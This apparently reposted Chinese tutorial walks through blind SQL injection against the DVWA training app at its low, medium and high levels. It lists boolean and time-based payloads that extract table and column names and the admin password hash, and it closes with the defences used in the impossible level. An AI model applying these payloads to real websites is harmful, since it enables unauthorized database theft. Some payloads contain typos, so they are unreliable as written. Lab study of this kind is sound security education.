dvwa-sql注入(blind)

SQL Injection(Blind):

  SQL Injection(Blind),即SQL盲注。  与一般注入的区别在于:        一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

手工盲注思路:

  手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

盲注分为:基于布尔的盲注、基于时间的盲注以及基于报错的盲注。

盲注步骤:

1.判断是否存在注入,注入是字符型还是数字型2.猜解当前数据库名3.猜解数据库中的表名4.猜解表中的字段名5.猜解数据

1.查看源代码:

2.判断是否存在注入,注入的类型
不管输入框输入为何内容,页面上只会返回以下2种情形的提示:
满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
3.输入1‘and 1=1 #

4.输入1’and 1=2 #

存在字符型的盲注。

  5.然后猜解数据库名:输入1’ and length(database())=4 #,显示存在;

6.输入1’ and length(database())=5 #

说明长度为4

  7.判断数据库名称的字符组成元素  此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。

mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:substr(string string,num start,num length);string为字符串;start为起始位置;length为长度。区别:mysql中的start是从1开始的,而hibernate中的start是从0开始的。
  8.进行尝试:
1‘ and ascii(substr(database(),1,1))>100        miss1' and ascii(substr(database(),1,1))>95          exit1' and ascii(substr(database(),1,1))>98          exit1' and ascii(substr(database(),1,1))=100          exit

说明第一个字符是d
以此类推发现是:d,v,w,a

9.猜解数据库中的表名

  数据表属性:指定数据库下表的个数、每个表的名称(表名长度,表名组成元素)

对于Mysql,DBMS数据库管理系统--->information_schema库--->tables表--->table_schema,table_name,table_rows,...字段。其结构如下所示:

10.猜解表的个数

1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #          miss1‘and (select cout(table_name) from information_schema.tables where table_schema=database())>5 #               miss1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #             miss1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #             exit

数据库中表的个数为2

  11.猜解表的名称
  • 表名称的长度
# 1.查询列出当前连接数据库下的所有表名称select table_name from information_schema.tables where table_schema=database()# 2.列出当前连接数据库中的第1个表名称select table_name from information_schema.tables where table_schema=database() limit 0,1# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #                 miss1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #                   exit1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #                   exit1‘ and length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9. #                   exit

dvwa数据库中第1个表的名称字符长度=9

  • 表名称字符的组成
    依次取出dvwa数据库第1个表的第1/2/.../9个字符分别猜解:
输入 输出
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>90 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 # MISSING
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists

dvwa数据库第1个表的第1个字符的ASCII码=103,对应的字符为g
以此类推 最终为guestbook
12.猜解表中的字段名
表中的字段名属性:表中的字段数目、某个字段名的字符长度、字段的字符组成及位置;某个字段名全名匹配
以[dvwa库-users表]为例:
1)猜解users表中的字段数目:

# 判断[dvwa库-users表]中的字段数目(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx# 判断在[dvwa库-users表]中是否存在某个字段(调整column_name取值进行尝试匹配)(select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1# 猜解第i 1个字段的字符长度length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx# 猜解第i 1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx
输入 输出
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 # MISSING
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 # exists
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>8 # MISSING
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # exists

13.猜解users表中的各个字段的名称

按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。
当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码...

| 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # | exists || 1' and (select coount(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1  #|exists|
  14.获取表中字段的值:

1.用户名的字段值:

1' and length(substr((select user from users limit 0,1),1))=5 #                 exits

2.密码的字段值:

1' and length(substr((select password from users limit 0,1),1))>20 # exists
1' and length(substr((select password from users limit 0,1),1))>40 # MISSING
1' and length(substr((select password from users limit 0,1),1))>30 # exists
1' and length(substr((select password from users limit 0,1),1))>35 # MISSING
1' and length(substr((select password from users limit 0,1),1))>33 # MISSING
1' and length(substr((select password from users limit 0,1),1))=32 # exists

可知,密码有可能经过md5加密

输入 输出
1' and substr((select user from users limit 0,1),1)='admin' #
1' and (select count(*) from users where user='admin')=1 # exists
1' and (select count(*) from users where user='admin123')=1 # MISSING
1' and (select count(*) from users where user='root')=1 # MISSING
==>user字段的第1组取值为admin
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 # exists
1' and (select count(*) from users where user='admin' and password='e10adc3949ba59abbe56e057f20f883e')=1 # MISSING
==>user---password字段的第1组取值:admin---password

中等版:

需要借助拦截工具进行抓包、改包、重放恶意构造的数据,(bp)

判断是否存在注入,注入的类型

  虽然前端界面上只能通过下拉列表选择数字,提交后查询显示的都是"exists",但是抓包工具修改数据重放之后是可以在工具中观察到响应数据有"MISSING"和"exists"两种返回结果的,如下:
输入 输出
1
'
1 and 1=1 #
1 and 1=2 #
1' and 1=1 #
1' and 1=2 #

存在数字型注入;

猜解当前连接数据库的名称

  对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1(真),此时不会执行sleep(n)函数 
输入 输出(Response Time)
1 and if(length(database())=4,sleep(2),1) # 2031 ms
1 and if(length(database())=5,sleep(2),1) # 26 ms
1 and if(length(database())>10,sleep(2),1) # 30 ms

以上根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s(2000ms

高等版:

  1.查看代码:

漏洞利用:

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

不可能版:

impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

来源:https://www.icode9.com/content-2-857151.html

(0)

相关推荐

  • SQL注入实战篇

    今天要介绍的是SQL注入实验.SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库. 首先我们先进入实验地址<SQL 注入>. SQL注入是一种代码注入 ...

  • mysql update replace 正则

    MYSQL中常用的SQL语句 一.增删改查 1.新增 指定字段插入: INSERT INTO <表名> (<字段1>, <字段2>, <字段3>) VA ...

  • DWVA-关于SQL注入的漏洞详解<SQL Injection>

    本文为漏洞靶场DWVA第七个模块SQL Injection详细解答 low等级 代码如下: 1 <?php 2 3 if( isset( $_REQUEST[ 'Submit' ] ) ) { ...

  • 部分sql注入总结

    前言 本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用. 可回显注入 联合注入 在可以联合查询的 ...

  • oracle截取字段中某部分数据

    转自:https://blog.csdn.net/weixin_43121766/article/details/82350997 转自:http://www.itpub.net/thread-169 ...

  • SQL中字符串截取函数(SUBSTRING)

    4-9的语法是MYSQL的,不是SQL的: 在SQL中substring必须要有三个参数substring(expression, start, length ) ,并且如果start的索引是小于1的 ...

  • 不可忽视的MySQL字符集

    墨墨导读:字符集是一组符号和编码.collation是一组用于比较字符集中的字符的规则. MySQL的字符集从latin1经过utf8 到utf8mb4 ,算是经历曲折的路线.特别是从使用一个字符集变 ...

  • Spring MVC防御CSRF、XSS和SQL注入攻击

    本文说一下SpringMVC如何防御CSRF(Cross-site request forgery跨站请求伪造)和XSS(Cross site script跨站脚本攻击). 说说CSRF 对CSRF来 ...

  • 彻底干掉恶心的 SQL 注入漏洞, 一网打尽!

    来源: b1ngz b1ngz.github.io/java-sql-injection-note/ 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入 ...

  • 某学院系统sql注入到服务器沦陷(bypss)

    前言 前一段时间都在挖edu src,为了混几个证书,中间陆陆续续也挖到好几枚系统的通杀吧,不过资产都不多,都是黑盒测试出来的,没啥技术含量.只有这次挖到的这枚通杀稍微有那么一点点价值,从外网web一 ...

  • 渗透测试之SQL注入基础

    渗透测试之SQL注入基础 SQL注入类型 按照数据类型类型来分类 按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类 判断注入类型的方法 MySQL注入基础 联合查询注入 布尔注入 时间盲注 ...

  • 某团购CMS的SQL注入漏洞代码审计

    0x00 SQL注入漏洞: 简单介绍一下SQL语句:通俗来理解就是开发者盲目相信用户,没有严格检查用户输入,导致用户可以输入恶意参数进入程序逻辑,最终拼接恶意参数改变原本的SQL语句逻辑,造成SQL注 ...

  • 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudy System: Windo ...

  • 靶场科普 | SQL注入之SQLMap使用练习

    本文由"网络安全检测与防护技术国家地方联合工程研究中心深圳分中心--东塔网络安全学院"总结归纳 靶场介绍 SQL注入之SQLMap使用练习 今天,给大家介绍一下"东塔攻防 ...

  • SQL注入漏洞有什么特点?

    什么是SQL注入漏洞?SQL注入漏洞有什么特点?SQL注入漏洞是一种常见的Web安全漏洞,通过这个漏洞可以访问和修改数据,也可以利用潜在的数据库漏洞进行攻击. 什么是SQL注入漏洞? SQL是操作数据 ...